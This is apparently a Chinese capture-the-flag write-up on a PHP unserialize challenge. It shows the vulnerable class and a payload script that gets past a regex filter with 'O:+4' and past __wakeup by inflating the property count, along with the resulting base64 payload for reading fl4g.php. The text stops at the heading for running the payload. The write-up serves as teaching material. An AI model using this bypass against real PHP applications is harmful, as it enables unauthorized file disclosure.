代码审计:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
这里看到了__wakeup,猜想是反序列化漏洞,秘密再fl4g.php中哦
(1)实例化对象
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$a=new Demo('fl4g.php');
$b=serialize($a);
echo $b;
//输出:
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
(2)分析代码
if (isset($_GET['var'])) { //判断var变量是否存在并且非NULL
$var = base64_decode($_GET['var']); //bse64解密var
if (preg_match('/[oc]:\d+:/i', $var)) { //正则匹配$var
die('stop hacking!'); //停止脚本并输出stop hacking!
} else {
@unserialize($var); //反序列化$var
}
} else {
highlight_file("index.php"); //对index.php进行语法高亮显示
}
最终目的是看到fl4g.php里的内容,那么我们需要做到的就两点:
- 绕过preg_match
- 绕过__wakeup
(3)payload
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$a=new Demo('fl4g.php');
$b=serialize($a);
echo $b;
echo '<br/>';
$b=str_replace(':1:',':2:',$b);
$b=str_replace(':4:',':+4:',$b);
echo $b;
echo '</br>';
$c=base64_encode($b);
echo $c;
//输出:
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
访问控制修饰符的不同,序列化后属性的长度和属性值会有所不同,如下所示
public(公有)
protected(受保护)
private(私有的)
protected属性被序列化的时候属性值会变成%00*%00属性名
private属性被序列化的时候属性值会变成%00类名%00属性名
注:%00表示占用1个字符
这就是为什么上面的payload中serialize($a)执行后的序列化字符串中属性file变成Demofile,长度为10
(4)执行payload